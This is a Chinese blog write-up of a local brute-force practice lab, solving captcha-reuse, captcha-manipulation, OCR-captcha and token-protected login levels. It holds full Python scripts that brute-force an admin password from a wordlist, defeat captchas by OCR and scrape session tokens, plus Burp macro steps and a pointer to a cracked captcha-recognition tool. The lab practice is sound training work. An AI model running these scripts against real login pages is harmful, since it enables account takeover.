MENU

BruteForce_test暴力破解练习

本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担

事情起因

3sNwgeek大佬工作上遇到的案例,GitHub地址

这个大佬还有另外一个基于AWD比赛的蠕虫webshell系列也不错

有机会可以搞一下

配置环境

用类似phpstudy的环境就可以搭建

git clone https://github.com/3sNwgeek/BruteForc_test

然后打开BruteForc_test/low.html就可访问

burp设置可参考前几天写的docker搭建pikachu及burp暴力破解基于Token的表单

level-1_hint:签到题

使用的字典

level-2_hint:验证码复用

发送到reapter,尝试换个密码不换验证码:

发现不会报验证码的错误,也就是验证码可以重复使用,使用和上面一样的步骤

level-3_hint:验证码操纵

再次reapter看一下,发现对验证码使用的次数有限制了:

查看源码发现,除了前端代码,还有一个验证码文件

并且验证码文件的参数是由前端传入的

那我们测试下Ccode参数,发现特殊情况

当参数为111时,得出的验证码为1111111111四种情况中的一种

同时,这里验证码输入错误后,并没有重置验证码,

只有在验证码输入正确,密码错误时,才会重置验证码。所以这里就存在了验证码可以被爆破的情况。

爆破脚本如下:

import requests

code_url = 'http://127.0.0.1/BruteForc_test/yzm2.php?Ccode=111'
login_url = 'http://127.0.0.1/BruteForc_test/LoginMid2.php'
passwd_list = open('./10-million-password-list-top-1000.txt',
                   'r').read().splitlines()
for passwd in passwd_list:
    r = requests.session()
    r.get(code_url)
    for i in range(0, 4):
        number_list = ['1', '11', '111', '1111']
        data = {
            'name': 'admin',
            'password': passwd,
            'yzm': number_list[i]
        }
        html = r.post(login_url, data=data)
        if '登陆成功' in html.text:
            print("attack success!password:{}".format(passwd))
            exit()
        else:
            break

level-4_hint:突破前端加密

正常测试,先弹一次窗显示输入的用户名和密码:

再弹一次窗显示一串字符,抓包显示传送的只是这个login_key

由于是前端加密,所以我们不能使用burpintruder模块爆破

暂时找不到加密文件,先放一放

level-5_hint:验证码_OCR识别

这里都不存在前面的问题,需要使用验证码识别工具识别验证码再一起post

python脚本

下载官方安装包,默认安装完,安装路径为:C:\Program Files (x86)\Tesseract-OCR\tesseract.exe

pip安装库:pip install pytesseract

而且验证码有识别失败的情况,每个密码都需要多次实验,直到出现“验证码错误“或者”登陆成功“

全代码如下:

import pytesseract
from PIL import Image
import requests
from io import BytesIO

pass_list = open('./10-million-password-list-top-1000.txt',
                 'r').read().splitlines()
url = 'http://192.168.1.11/BruteForc_test/LoginHigh.php'
for line in pass_list:
    while True:
        s = requests.session()
        pytesseract.pytesseract.tesseract_cmd = 'C:/Program Files (x86)/Tesseract-OCR/tesseract.exe'
        response = s.get('http://192.168.1.11/BruteForc_test/yzm.php')
        image = Image.open(BytesIO(response.content))
        code = pytesseract.image_to_string(image)
        data = {
            'name': 'admin',
            'password': line,
            'yzm': code
        }
        html = s.post(url, data=data)  # 进行爆破尝试
        print('[[-]error]:{}'.format(line))
        if '登陆成功' in html.text:
            print('[[+]succeed] password:{}'.format(line))
            exit()
        if '验证码错误' not in html.text:
            break

但是效率不高:

PKAV HTTP Fuzzer

这里我使用了一个老牌的软件PKAV HTTP Fuzzer

在变体设置处把burp拦截的数据包放进去

并选中password的值添加标记,把验证码的值添加验证码标记

在右边添加字典:

切换到图片验证码识别选项卡,填写验证码地址:

http://192.168.1.11/BruteForc_test/yzm.php

自带的引擎不好用,内置的亦思验证码识别引擎和次时代验证码识别引擎都能用

但是只能加载图像,并不能识别,需要自行制作识别库且这两个软件都是收费的

亦思的破解版没有找到真的能用的,次时代的找到一个,解压密码为xiazai.94fb.cn

具体操作太复杂,可以看着视频

最后导出一个识别库的.cds文件,加载后就可以识别验证码:

识别库就不放出来了,尝试去做一下库还是蛮好玩的,想要的也可以tg联系我

切换到发包器选项卡,点击启动即可开始破解:

burp插件

burpsuite的插件reCAPTCHA在这里也用不到

可以尝试插件captcha-killer,但这个插件本身并没有识别的功能,需要外部调用接口

官方文档

level-6_hint:滑动验证码识别

尝试reapter发包两次查看:

看可以看到token值未发生变化,但是返回值不一样,说明重点不是token而是检测session

python脚本

检测session的话对python来说很简单,因为requestsession()方法就是用来保持会话的

查看源代码可以发现token值就放在页面源代码输入框的下面:

使用beautifulsoup解析页面获取到token再发出去就行了

全代码如下:

import requests
from bs4 import BeautifulSoup

url = 'http://127.0.0.1/BruteForc_test/hdyzma/'
login_url = 'http://127.0.0.1/BruteForc_test/hdyzma/welcome.php'
pass_list = open('./10-million-password-list-top-1000.txt',
                 'r').read().splitlines()
for line in pass_list:
    s = requests.session()
    html = s.get(url)
    soup = BeautifulSoup(html.text, 'html5lib')
    tag = soup.find_all('input')
    token = tag[2].get('value')
    data = {
        'name': 'admin',
        'password': line,
        'token': token
    }
    html = s.post(login_url, data=data)
    if '登陆成功' in html.text:
        print('[[+]succeed] password is:{}'.format(line))
        exit()

burp

跟着靶场原作者3sNwGeek做一遍

在拉动验证码抓取到的其中一个包的response中有token值

于是我们可以使用burpsuite的宏功能把登录页的token值抓出来填入登录请求

创建Macros

切换到Project optionsSessions选项卡,拉到最下面Marcros

点击添加会弹窗,我们选择刚刚的192.168.1.11的唯一一个get包:

点击OK,修改Macro描述,点击旁边的configure item按钮:

在下面的选项卡点击Add添加我们指定的token参数:

用鼠标选中token值,burp会开始自动填写开始标记和结束标记,自己填写Parameter nametoken即可

如果你设置和这个有差别,建议你改成和这个一样,比如选中token值后

开始的正则表达式是value =",建议你改成"token" value ="

Session Handling Rules

Session Handling Rules里面已经添加好了一条新规则

点击编辑,自定义名字,将Rule Actions默认的一条删除添加一条Run a macro

添加我们刚刚设置的macro并将参数名设置为我们刚刚设置的token

然后设置宏的影响范围,因为我们只需要暴力破解账号密码,

所以Tools Scope这里只选中Repeater、Intruder就行了,其它模块可根据实际需要勾选:

暴力破解

回到Repeater,点击Go重新发包,可以看到现在token参数会自动刷新:

使用Intruder暴力破解账号密码,模式选择为Cluster bomb(簇炸弹)

这个模式必须设置两个及以上payload,因此我们把username也设置payload

然后payload sets中第一个位置只添加一个admin,第二个payload依然为top-1000

因为多线程会同时刷新token,导致部分请求包拿到的token已经被刷新了,所以只能设置单线程跑

成功暴破得到账号admin/123456a

参考文章:

本文完。

最后编辑于: 2020 年 02 月 04 日